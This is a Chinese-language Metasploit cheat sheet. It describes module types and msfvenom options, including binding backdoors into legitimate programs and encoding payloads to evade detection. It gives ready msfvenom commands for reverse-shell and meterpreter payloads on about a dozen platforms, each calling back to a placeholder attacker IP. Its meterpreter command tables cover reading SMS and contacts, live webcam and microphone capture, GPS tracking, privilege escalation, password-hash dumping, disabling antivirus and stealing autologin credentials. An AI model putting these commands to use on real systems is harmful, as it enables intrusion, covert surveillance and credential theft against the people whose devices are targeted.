Metasploit基础
主模块modules
- auxiliary:辅助模块,辅助渗透(端口扫描、密码爆破、漏洞验证等)
- exploits:漏洞利用模块,包含主流的漏洞利用脚本
- payloads:攻击载荷,攻击成功后在目标机器执行的代码
- post:后渗透阶段模块,漏洞利用获得meterpreter之后,向目标发送的一些功能性指令,如提权等
- encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检查和过滤系统
- evasion:躲避模块,生成免杀payload
- nops:调整shellcode前置nop指令长度的工具
msfvenom
常用于生成后门木马
常用参数 | 功能 |
---|---|
-l | 列出指定模块的所有可用资源,模块类型包括payloads,nops,encoders,all |
-p | 指定需要使用的payload |
-f | 指定输出格式,如exe、war、sh等 |
-e | 指定需要使用的encoder编码 |
-a | 指定payload的目标架构,如x86、x64、windows、java、linux |
-o | 保存payload文件输出 |
-b | 设定规避字符集,如避免使用’\x00\xff’ |
-n | 为payload预先指定一个NOP滑动长度 |
-s | 设定生成payload的最大长度,即文件大小 |
-i | 指定payload的编码次数 |
-c | 指定一个附加的win32 shellcode文件 |
-x | 指定一个可执行文件作为模板,可将后门捆绑到正常程序上 |
-k | 保护模板程序的动作,注入的payload作为以一个新的进程运行 |
-v | 指定一个自定义的变量,确定输出格式 |
各平台生成payload命令
平台 | 命令 |
---|---|
Windows | msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe |
Mac | msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f macho -o payload.macho |
Android | msfvenom -p android/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -o payload.apk |
Powershell | msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1 |
Linux | msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f elf -o payload.elf |
php | msfvenom -p php/meterpreter_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw > shell.php |
war | msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw - o payload.war |
nodejs | msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.js |
python | msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.py |
lua | msfvenom -p cmd/unix/reverse_lua LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.lua |
ruby | msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.rb |
msfconsole
查找主机探测模块:search scanner type:auxiliary
- 基于ARP发现内网存活主机
- 基于UDP发现内网存活主机
- 基于smb发现内网存活主机
- 发现FTP服务
- 发现HTTP服务
Meterpreter
Meterpreter作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后返回一个能控制的通道,可远程执行命令
基本命令
命令 | 作用 |
---|---|
background | 把meterpreter后台挂起 |
sessions -i | 恢复指定的meterpreter脚本 |
bgkill | 杀死一个meterpreter脚本 |
bglist | 提供所有正在运行的后台脚本的列表 |
bgrun | 后台执行meterpreter脚本 |
channel | 显示活动频道 |
close | 关闭通道 |
exit | 终止meterpreter会话 |
quit | 终止meterpreter会话 |
interact | 切换进一个信道 |
run | 执行meterpreter脚本 |
read | 从通道读取数据 |
write | 将数据写入到一个通道 |
irb | 进入 Ruby 脚本模式 |
use | 加载 meterpreter 的扩展 |
常用命令
Android常用命令
命令 | 作用 |
---|---|
dump_contacts | 获取通讯录 |
dump_sms | 获取短信记录 |
send_sms | 发送短信 |
geolocate | 获取GPS定位信息 |
wlan_geolocate | 获取Wi-Fi定位信息 |
record_mic | 录音 |
webcam_list | 获取相机设备 |
webcam_snap | 拍照 |
webcam_stream | 直播摄像头 |
windows常用命令
命令 | 作用 |
---|---|
sysinfo | 查看系统信息 |
route | 查看网络设置 |
getuid | 查看当前权限 |
getsystem | 自动提权 |
screenshot | 截取屏幕图片 |
webcam_snap | 拍照 |
webcam_stream | 直播摄像头 |
record_mic | 录音 |
run hashdump | 导出当前用户密码哈希 |
run post/windows/gather/checkvm | 查看是否为虚拟机 |
run post/windows/manage/killav | 关闭杀毒软件 |
run post/windows/manage/enable_rdp | 启动远程桌面协议 |
run post/windows/gather/enum_logged_on_users | 列举当前登录的用户 |
run post/windows/gather/enum_applications | 查看安装的应用信息 |
run windows/gather/credentials/windows_autologin | 抓取自动登录的用户名和密码 |